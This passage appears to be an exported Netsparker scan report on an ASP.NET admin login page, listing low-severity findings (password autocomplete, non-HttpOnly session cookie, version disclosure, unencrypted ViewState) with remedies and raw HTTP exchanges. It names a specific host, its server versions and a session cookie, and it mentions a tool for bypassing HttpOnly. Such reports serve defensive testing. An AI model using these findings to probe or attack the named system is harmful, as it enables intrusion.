</table>
</TD></TR></TABLE>


</td>

</tr>


</table>

<script language="javascript" type="text/javascript">
<!--
var Page_ValidationSummaries = new Array(document.all["ValidationSummary1"]);
// -->
</script>

</form>

</div>



</BODY>
</HTML>
Auto Complete Enabled

Auto Complete Enabled

1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /login.aspx

/login.aspx CONFIRMED

https://admin.iconnection.com/login.aspx

Identified Field Name

Password

Request

GET /login.aspx HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: admin.iconnection.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 02 May 2011 15:18:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=y2pj0syrlzde1sb3kjzsz145; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9824



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>Login</title>
<META http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<script language="javascript" src="Includes/groupbar.js"></script>
<script language="javascript" src="Includes/textBox.js"></script>
<LINK href="CSS/WebAdmin.css" type="text/css" rel="stylesheet">
<LINK href="CSS/Main.css" type="text/css" rel="stylesheet">
<script language="javascript">
<!--
var Page_Validators_Old = new Array();
var OldPageValidatorUpdate=false;

function SetControlForValidation( ContainerName, enable)
{
if( OldPageValidatorUpdate == false )
{
for (var i=0; i<Page_Validators.length; i++)
Page_Validators_Old[i] = Page_Validators[i];
OldPageValidatorUpdate = true;
}

Page_Validators.length = 0;

// get the container object

var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index<Page_Validators_Old.length;index++)
{
var obj = Page_Validators_Old[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
// RemoveValidatorControl(Page_Validators,Page_Validators_Old[index]);
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
// AddValidatorControl(Page_Validators,Page_Validators_Old[index]);
Page_Validators[currIndex] = Page_Validators_Old[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function SetControlForValidation2( ContainerName, enable, validatorControls )
{
Page_Validators.length = 0;
// get the container object
var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index < validatorControls.length;index++)
{
var obj = validatorControls[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
Page_Validators[currIndex] = validatorControls[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function Display(array) {
var str="";
for (var index=0;index<array.length;index++)
{
str = str + ' , ' + array[index].id;
}
// alert( str );
}

function RemoveValidatorControl(array,value) {
for (var index=0;index<array.length;index++) {
if( array[index].id == value.id )
RemoveElement(index,array);
}
}

function AddValidatorControl(array,value) {
for (var index=0;index<array.length;index++)
{
if( array[index].id == value.id )
return;
}
array[array.length+1] = value;
}



function RemoveElement(array,itemIndex) {
for (;itemIndex<array.length;itemIndex++) {
// assigns the value of elementnr+1 to elementnr, so you move all items by 1
array[itemIndex] = array[itemIndex + 1];
}
array.length=array.length-1;
}

// -->
</script>


<script language="javascript">
function onLoad()
{


var logOutType = '';
if( logOutType == 'Timeout' || logOutType == 'Forced' )
{
parent.HideAll();
MessageDisplay(true);
progressDisplay(false);
if( logOutType == 'Timeout' )
{
var bExit;
bExit = confirm('');
if( bExit == true )
{
parent.opener = top;
parent.close();
}
}
parent.Login();
}
else
{
progressDisplay(false);
window.focus();
var username = document.all("UserName");
if( username != null )
username.focus();
}

}

function GracefulExit()
{
var bExit = false;
bExit = confirm('');
if( bExit )
{
window.opener = top;
window.close();
}
}

function MessageDisplay(show)
{
var login_message2 = document.all("login_message2");
{
if( show == true )
{
login_message2.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_message2.className = 'login_status_hide';
}
}
return true;
}

function progressDisplay(show)
{
var login_status = document.all("login_status");
{
if( show == true )
{
login_status.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_status.className = 'login_status_hide';
}
}
return true;
}
</script>
</HEAD>
<body onload="onLoad()" MS_POSITIONING="GridLayout">
<div id="LoginPanel">

<form name="login" method="post" action="login.aspx" id="login">
<input type="hidden" name="__VIEWSTATE" value="dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE+Oz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwxPjtpPDI+O2k8ND47aTw1Pjs+O2w8dDxwPHA8bDxUZXh0Oz47bDxEaWQgeW91IGZvcmdldCB5b3VyIHBhc3N3b3JkPzs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs+Pjs+Ozs+Oz4+Oz4+O3Q8cDxwPGw8VmlzaWJsZTs+O2w8bzxmPjs+Pjs+Ozs+Oz4+Oz66y7FxYqVqOLBoPrtcGUOBGRbzQA==" />
<script src='/Includes/groupbar.js' language='javascript'></script>


<script language='javascript'> var ImageURL = '/Images/';</script>

<script src='/Includes/tecosHelp.js' language='javascript'></script>




<table align = center cellpadding=0 cellspacing=0 border=0 >


<tr>

<td valign = top width = 400 height = 200 >
<table id="loginpage_ui" align="center">
<tr>
<td>
<table align="center">
<tr>
<td align="left"><table id='LoginGroupBar' cellpadding='0' cellspacing='0' Width=400px>
<tr onclick="Swap('1','LoginGroupBar_GroupBarItem')">
<td Class='GroupHeading' bgcolor=#D4D0C8><img src='/Images/WebAdmin/Minus.gif' border='0' hspace='5' WIDTH='12' HEIGHT='15' id='LoginGroupBar_GroupBarItemIcon'>Login Details</td><td Class='GroupHeading' bgcolor=#D4D0C8></td>
</tr><tr><td colspan=3 height='5px'></td></tr></table><table cellpadding="0" cellspacing="0" id="LoginGroupBar_GroupBarItem" width="400px" style="display: '';">
<tr>
<td id="LoginGroupBarItemPlaceHolder">
<TABLE cellSpacing="0" cellPadding="0">
<TR>
<TD align="left"><LABEL class="label">User Name&nbsp;: </LABEL>
</TD>
<TD><INPUT class="Left" onactivate="SetClass()" id="UserName" style="WIDTH: 300px" ondeactivate="SetClass()"
tabIndex="1" type="text" name="UserName" autocomplete="on" value = "">
</TD>
</TR>
<TR>
<TD align="left"><LABEL class="label">Password&nbsp;: </LABEL>
</TD>
<TD><INPUT class="Left" onactivate="SetClass()" id="Password" style="WIDTH: 300px" ondeactivate="SetClass()"
tabIndex="2" type="password" name="Password" value = "">
</TD>
</TR>
<TR>
<TD align="right" height="50px">&nbsp;</TD>
<td align="right">
<INPUT onclick="return progressDisplay(true)" tabIndex="3" type="submit" value=" Login ">
</TD>
</TR>
</TABLE>
</td>
</tr>
</table>
</td>
</tr>
</table>
<table width="400px" align=center>
<tr>
<td align=right><a id="ForgotPasswordLink" href="Login.aspx?Type=ForgotPassword">Did you forget your password?</a></td>
</tr>
</table>
<table width="400px" align="center">
<tr>
<td class="Error" id="login_message" align="center">
<span id="lbMessage" style="color:Red;width:504px;"></span>
<div id="ValidationSummary1" showmessagebox="True" style="color:Red;width:530px;display:none;">

</div>
</td>
</tr>
<tr>
<td align=center><span id="lbHelpMessage" class="label"></span></td>
</tr>
<tr>
<td class="login_status_hide" id="login_message2" align="center">
<span id="lbLogoutMessage" style="width:416px;"></span></td>
</tr>
</table>
<br>
<table align="center">
<tr>
<td align="left"></td>
</tr>
</table>

<table align="center">
<tr>
<td class="login_status_hide" id="login_status" vAlign="middle" align="center">Please wait while the user is being verified <IMG src="Images/Misc/Login-Anim.gif" align="absMiddle"></td>
</tr>
</table>
</TD></TR></TABLE>


</td>

</tr>


</table>

<script language="javascript" type="text/javascript">
<!--
var Page_ValidationSummaries = new Array(document.all["ValidationSummary1"]);
// -->
</script>

</form>

</div>



</BODY>
</HTML>
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /login.aspx

/login.aspx CONFIRMED

https://admin.iconnection.com/login.aspx

Identified Cookie

ASP.NET_SessionId

Request

GET /login.aspx HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: admin.iconnection.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 02 May 2011 15:18:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=y2pj0syrlzde1sb3kjzsz145; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9824



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>Login</title>
<META http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<script language="javascript" src="Includes/groupbar.js"></script>
<script language="javascript" src="Includes/textBox.js"></script>
<LINK href="CSS/WebAdmin.css" type="text/css" rel="stylesheet">
<LINK href="CSS/Main.css" type="text/css" rel="stylesheet">
<script language="javascript">
<!--
var Page_Validators_Old = new Array();
var OldPageValidatorUpdate=false;

function SetControlForValidation( ContainerName, enable)
{
if( OldPageValidatorUpdate == false )
{
for (var i=0; i<Page_Validators.length; i++)
Page_Validators_Old[i] = Page_Validators[i];
OldPageValidatorUpdate = true;
}

Page_Validators.length = 0;

// get the container object

var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index<Page_Validators_Old.length;index++)
{
var obj = Page_Validators_Old[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
// RemoveValidatorControl(Page_Validators,Page_Validators_Old[index]);
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
// AddValidatorControl(Page_Validators,Page_Validators_Old[index]);
Page_Validators[currIndex] = Page_Validators_Old[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function SetControlForValidation2( ContainerName, enable, validatorControls )
{
Page_Validators.length = 0;
// get the container object
var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index < validatorControls.length;index++)
{
var obj = validatorControls[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
Page_Validators[currIndex] = validatorControls[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function Display(array) {
var str="";
for (var index=0;index<array.length;index++)
{
str = str + ' , ' + array[index].id;
}
// alert( str );
}

function RemoveValidatorControl(array,value) {
for (var index=0;index<array.length;index++) {
if( array[index].id == value.id )
RemoveElement(index,array);
}
}

function AddValidatorControl(array,value) {
for (var index=0;index<array.length;index++)
{
if( array[index].id == value.id )
return;
}
array[array.length+1] = value;
}



function RemoveElement(array,itemIndex) {
for (;itemIndex<array.length;itemIndex++) {
// assigns the value of elementnr+1 to elementnr, so you move all items by 1
array[itemIndex] = array[itemIndex + 1];
}
array.length=array.length-1;
}

// -->
</script>


<script language="javascript">
function onLoad()
{


var logOutType = '';
if( logOutType == 'Timeout' || logOutType == 'Forced' )
{
parent.HideAll();
MessageDisplay(true);
progressDisplay(false);
if( logOutType == 'Timeout' )
{
var bExit;
bExit = confirm('');
if( bExit == true )
{
parent.opener = top;
parent.close();
}
}
parent.Login();
}
else
{
progressDisplay(false);
window.focus();
var username = document.all("UserName");
if( username != null )
username.focus();
}

}

function GracefulExit()
{
var bExit = false;
bExit = confirm('');
if( bExit )
{
window.opener = top;
window.close();
}
}

function MessageDisplay(show)
{
var login_message2 = document.all("login_message2");
{
if( show == true )
{
login_message2.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_message2.className = 'login_status_hide';
}
}
return true;
}

function progressDisplay(show)
{
var login_status = document.all("login_status");
{
if( show == true )
{
login_status.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_status.className = 'login_status_hide';
}
}
return true;
}
</script>
</HEAD>
<body onload="onLoad()" MS_POSITIONING="GridLayout">
<div id="LoginPanel">

<form name="login" method="post" action="login.aspx" id="login">
<input type="hidden" name="__VIEWSTATE" value="dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE+Oz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwxPjtpPDI+O2k8ND47aTw1Pjs+O2w8dDxwPHA8bDxUZXh0Oz47bDxEaWQgeW91IGZvcmdldCB5b3VyIHBhc3N3b3JkPzs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs+Pjs+Ozs+Oz4+Oz4+O3Q8cDxwPGw8VmlzaWJsZTs+O2w8bzxmPjs+Pjs+Ozs+Oz4+Oz66y7FxYqVqOLBoPrtcGUOBGRbzQA==" />
<script src='/Includes/groupbar.js' language='javascript'></script>


<script language='javascript'> var ImageURL = '/Images/';</script>

<script src='/Includes/tecosHelp.js' language='javascript'></script>




<table align = center cellpadding=0 cellspacing=0 border=0 >


<tr>

<td valign = top width = 400 height = 200 >
<table id="loginpage_ui" align="center">
<tr>
<td>
<table align="center">
<tr>
<td align="left"><table id='LoginGroupBar' cellpadding='0' cellspacing='0' Width=400px>
<tr onclick="Swap('1','LoginGroupBar_GroupBarItem')">
<td Class='GroupHeading' bgcolor=#D4D0C8><img src='/Images/WebAdmin/Minus.gif' border='0' hspace='5' WIDTH='12' HEIGHT='15' id='LoginGroupBar_GroupBarItemIcon'>Login Details</td><td Class='GroupHeading' bgcolor=#D4D0C8></td>
</tr><tr><td colspan=3 height='5px'></td></tr></table><table cellpadding="0" cellspacing="0" id="LoginGroupBar_GroupBarItem" width="400px" style="display: '';">
<tr>
<td id="LoginGroupBarItemPlaceHolder">
<TABLE cellSpacing="0" cellPadding="0">
<TR>
<TD align="left"><LABEL class="label">User Name&nbsp;: </LABEL>
</TD>
<TD><INPUT class="Left" onactivate="SetClass()" id="UserName" style="WIDTH: 300px" ondeactivate="SetClass()"
tabIndex="1" type="text" name="UserName" autocomplete="on" value = "">
</TD>
</TR>
<TR>
<TD align="left"><LABEL class="label">Password&nbsp;: </LABEL>
</TD>
<TD><INPUT class="Left" onactivate="SetClass()" id="Password" style="WIDTH: 300px" ondeactivate="SetClass()"
tabIndex="2" type="password" name="Password" value = "">
</TD>
</TR>
<TR>
<TD align="right" height="50px">&nbsp;</TD>
<td align="right">
<INPUT onclick="return progressDisplay(true)" tabIndex="3" type="submit" value=" Login ">
</TD>
</TR>
</TABLE>
</td>
</tr>
</table>
</td>
</tr>
</table>
<table width="400px" align=center>
<tr>
<td align=right><a id="ForgotPasswordLink" href="Login.aspx?Type=ForgotPassword">Did you forget your password?</a></td>
</tr>
</table>
<table width="400px" align="center">
<tr>
<td class="Error" id="login_message" align="center">
<span id="lbMessage" style="color:Red;width:504px;"></span>
<div id="ValidationSummary1" showmessagebox="True" style="color:Red;width:530px;display:none;">

</div>
</td>
</tr>
<tr>
<td align=center><span id="lbHelpMessage" class="label"></span></td>
</tr>
<tr>
<td class="login_status_hide" id="login_message2" align="center">
<span id="lbLogoutMessage" style="width:416px;"></span></td>
</tr>
</table>
<br>
<table align="center">
<tr>
<td align="left"></td>
</tr>
</table>

<table align="center">
<tr>
<td class="login_status_hide" id="login_status" vAlign="middle" align="center">Please wait while the user is being verified <IMG src="Images/Misc/Login-Anim.gif" align="absMiddle"></td>
</tr>
</table>
</TD></TR></TABLE>


</td>

</tr>


</table>

<script language="javascript" type="text/javascript">
<!--
var Page_ValidationSummaries = new Array(document.all["ValidationSummary1"]);
// -->
</script>

</form>

</div>



</BODY>
</HTML>
ASP.NET Version Disclosure

ASP.NET Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing ASP.NET version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks. It was leaked from X-AspNet-Version banner of HTTP response or default ASP.NET error page.

Impact

An attacker can use disclosed information to harvest specific security vulnerabilities for the version identified. The attacker can also use this information in conjunction with the other vulnerabilities in the application or web server.

Remedy

Apply the following changes on your web.config file to prevent information leakage by using custom error pages and removing X-AspNet-Version from HTTP responses.
<System.Web>
     < httpRuntime enableVersionHeader="false" /> 
     <customErrors mode="On" defaultRedirect="~/error/GeneralError.aspx">
          <error statusCode="403" redirect="~/error/Forbidden.aspx" />
          <error statusCode="404" redirect="~/error/PageNotFound.aspx" />
          <error statusCode="500" redirect="~/error/InternalError.aspx" />
     </customErrors>
</System.Web>

Remedy References

- /

/

https://admin.iconnection.com/

Extracted Version

1.1.4322

Request

GET / HTTP/1.1
Referer: https://admin.iconnection.com/login.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: admin.iconnection.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Mon, 02 May 2011 15:18:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: /login.aspx?ReturnUrl=%2fDefault.aspx
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 154


<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='/login.aspx?ReturnUrl=%2fDefault.aspx'>here</a>.</h2>
</body></html>
ViewState is not Encrypted

ViewState is not Encrypted

1 TOTAL
LOW
Netsparker identified that the target web application doesn't use encryption on ViewState data.

Impact

An attacker can study the application's state management logic for possible vulnerabilities and if your application stores application-critical information in the ViewState; it will also be revealed.

Remedy

ASP.NET provides encryption for ViewState parameters.

For page based protection, place the following directive at the top of affected page.
<%@Page ViewStateEncryptionMode="Always" %>
You can also set this option for the whole application by using web.config files. Apply the following configuration for your application's web.config file.
<System.Web>
	<pages viewStateEncryptionMode="Always"> 
</System.Web>      

Remedy References

- /login.aspx

/login.aspx

https://admin.iconnection.com/login.aspx

ViewState Version

.NET Framework 1.x

Request

GET /login.aspx HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: admin.iconnection.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 02 May 2011 15:18:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=y2pj0syrlzde1sb3kjzsz145; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9824



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>Login</title>
<META http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<script language="javascript" src="Includes/groupbar.js"></script>
<script language="javascript" src="Includes/textBox.js"></script>
<LINK href="CSS/WebAdmin.css" type="text/css" rel="stylesheet">
<LINK href="CSS/Main.css" type="text/css" rel="stylesheet">
<script language="javascript">
<!--
var Page_Validators_Old = new Array();
var OldPageValidatorUpdate=false;

function SetControlForValidation( ContainerName, enable)
{
if( OldPageValidatorUpdate == false )
{
for (var i=0; i<Page_Validators.length; i++)
Page_Validators_Old[i] = Page_Validators[i];
OldPageValidatorUpdate = true;
}

Page_Validators.length = 0;

// get the container object

var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index<Page_Validators_Old.length;index++)
{
var obj = Page_Validators_Old[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
// RemoveValidatorControl(Page_Validators,Page_Validators_Old[index]);
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
// AddValidatorControl(Page_Validators,Page_Validators_Old[index]);
Page_Validators[currIndex] = Page_Validators_Old[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function SetControlForValidation2( ContainerName, enable, validatorControls )
{
Page_Validators.length = 0;
// get the container object
var ContainerObj = document.all[ContainerName];
var currIndex=0;
for(var index=0;index < validatorControls.length;index++)
{
var obj = validatorControls[index];

// check if page_Validators Array contains an object which is child of container object
var childValidator = ContainerObj.all[obj.id];

// if the object is child of container
if( childValidator != null )
{
if( enable == false )
{
// remove it, so validation is not done
}
else if( enable == true )
{
// add the object name to the Page_Validators array which is actually used in the script
Page_Validators[currIndex] = validatorControls[index];
currIndex++;
}
}
}

Display(Page_Validators);
}

function Display(array) {
var str="";
for (var index=0;index<array.length;index++)
{
str = str + ' , ' + array[index].id;
}
// alert( str );
}

function RemoveValidatorControl(array,value) {
for (var index=0;index<array.length;index++) {
if( array[index].id == value.id )
RemoveElement(index,array);
}
}

function AddValidatorControl(array,value) {
for (var index=0;index<array.length;index++)
{
if( array[index].id == value.id )
return;
}
array[array.length+1] = value;
}



function RemoveElement(array,itemIndex) {
for (;itemIndex<array.length;itemIndex++) {
// assigns the value of elementnr+1 to elementnr, so you move all items by 1
array[itemIndex] = array[itemIndex + 1];
}
array.length=array.length-1;
}

// -->
</script>


<script language="javascript">
function onLoad()
{


var logOutType = '';
if( logOutType == 'Timeout' || logOutType == 'Forced' )
{
parent.HideAll();
MessageDisplay(true);
progressDisplay(false);
if( logOutType == 'Timeout' )
{
var bExit;
bExit = confirm('');
if( bExit == true )
{
parent.opener = top;
parent.close();
}
}
parent.Login();
}
else
{
progressDisplay(false);
window.focus();
var username = document.all("UserName");
if( username != null )
username.focus();
}

}

function GracefulExit()
{
var bExit = false;
bExit = confirm('');
if( bExit )
{
window.opener = top;
window.close();
}
}

function MessageDisplay(show)
{
var login_message2 = document.all("login_message2");
{
if( show == true )
{
login_message2.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_message2.className = 'login_status_hide';
}
}
return true;
}

function progressDisplay(show)
{
var login_status = document.all("login_status");
{
if( show == true )
{
login_status.className = 'login_status_show';
loginpage_ui.style.visibility = "hidden";
}
else
{
loginpage_ui.style.visibility = "visible";
login_status.className = 'login_status_hide';
}
}
return true;
}
</script>
</HEAD>
<body onload="onLoad()" MS_POSITIONING="GridLayout">
<div id="LoginPanel">

<form name="login" method="post" action="login.aspx" id="login">
<input type="hidden" name="__VIEWSTATE" value="dDwxMTA4NTIwNzE2O3Q8O2w8aTwwPjtpPDE+Oz47bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwxPjtpPDI+O2k8ND47aTw1Pjs+O2w8dDxwPHA8bDxUZXh0Oz47bDxEaWQgeW91IGZvcmdldCB5b3VyIHBhc3N3b3JkPzs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs+Pjs+Ozs+Oz4+Oz4+O3Q8cDxwPGw8VmlzaWJsZTs+O2w8bzxmPjs+Pjs+Ozs+Oz4+Oz66y7FxYqVqOLBoPrtcGUOBGRbzQA==" />
<script src='/Includes/groupbar.js' language='javascript'></script>


<script language='javascript'> var ImageURL = '/Images/';</script>

<script src='/Includes/tecosHelp.js' language='javascript'></script>




<table align = center cellpadding=0 cellspacing=0 border=0 >


<tr>

<td valign = top width = 400 height = 200 >
<table id="loginpage_ui" align="center">
<tr>
<td>
<table align="center">
<tr>
<td align="left"><table id='LoginGroupBar' cellpadding='0' cellspacing='0' Width=400px>
<tr onclick="Swap('1','LoginGroupBar_GroupBarItem')">
<td Class='GroupHeading' bgcolor=#D4D0C8><img src='/Images/WebAdmin/Minus.gif' border='0' hspace='5' WIDTH='12' HEIGHT='15' id='LoginGroupBar_GroupBarItemIcon'>Login Details</td><td Class='GroupHeading' bgcolor=#D4D0C8></td>
</tr><tr><td colspan=3 height='5px'></td></tr></table><table cellpadding="0" cellspacing="0" id="LoginGroupBar_GroupBarItem" width="400px" style="display: '';">
<tr>
<td id="LoginGroupBarItemPlaceHolder">
<TABLE cellSpacing="0" cellPadding="0">
<TR>
<TD align="left"><LABEL class="label">User Name&nbsp;: </LABEL>
</TD>
<TD><INPUT class="Left" onactivate="SetClass()" id="UserName" style="WIDTH: 300px" ondeactivate="SetClass()"
tabIndex="1" type="text" name="UserName" autocomplete="on" value = "">
</TD>
</TR>
<TR>
<TD align="left"><LABEL class="label">Password&nbsp;: </LABEL>
</TD>
<TD><INPUT class="Left" onactivate="SetClass()" id="Password" style="WIDTH: 300px" ondeactivate="SetClass()"
tabIndex="2" type="password" name="Password" value = "">
</TD>
</TR>
<TR>
<TD align="right" height="50px">&nbsp;</TD>
<td align="right">
<INPUT onclick="return progressDisplay(true)" tabIndex="3" type="submit" value=" Login ">
</TD>
</TR>
</TABLE>
</td>
</tr>
</table>
</td>
</tr>
</table>
<table width="400px" align=center>
<tr>
<td align=right><a id="ForgotPasswordLink" href="Login.aspx?Type=ForgotPassword">Did you forget your password?</a></td>
</tr>
</table>
<table width="400px" align="center">
<tr>
<td class="Error" id="login_message" align="center">
<span id="lbMessage" style="color:Red;width:504px;"></span>
<div id="ValidationSummary1" showmessagebox="True" style="color:Red;width:530px;display:none;">

</div>
</td>
</tr>
<tr>
<td align=center><span id="lbHelpMessage" class="label"></span></td>
</tr>
<tr>
<td class="login_status_hide" id="login_message2" align="center">
<span id="lbLogoutMessage" style="width:416px;"></span></td>
</tr>
</table>
<br>
<table align="center">
<tr>
<td align="left"></td>
</tr>
</table>

<table align="center">
<tr>
<td class="login_status_hide" id="login_status" vAlign="middle" align="center">Please wait while the user is being verified <IMG src="Images/Misc/Login-Anim.gif" align="absMiddle"></td>
</tr>
</table>
</TD></TR></TABLE>


</td>

</tr>


</table>

<script language="javascript" type="text/javascript">
<!--
var Page_ValidationSummaries = new Array(document.all["ValidationSummary1"]);
// -->
</script>

</form>

</div>



</BODY>
</HTML>
Forbidden Resource

Forbidden Resource

1 TOTAL
INFORMATION
CONFIRMED
1
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.

Impact

There is no impact resulting from this issue.
- /Includes/

/Includes/ CONFIRMED

https://admin.iconnection.com/Includes/

Request

GET /Includes/ HTTP/1.1
Referer: https://admin.iconnection.com/Includes/groupbar.js
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: admin.iconnection.com
Cookie: ASP.NET_SessionId=fni0h455t4pmfn2dwf40o0yr
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 403 Forbidden
Content-Length: 218
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Mon, 02 May 2011 15:18:18 GMT


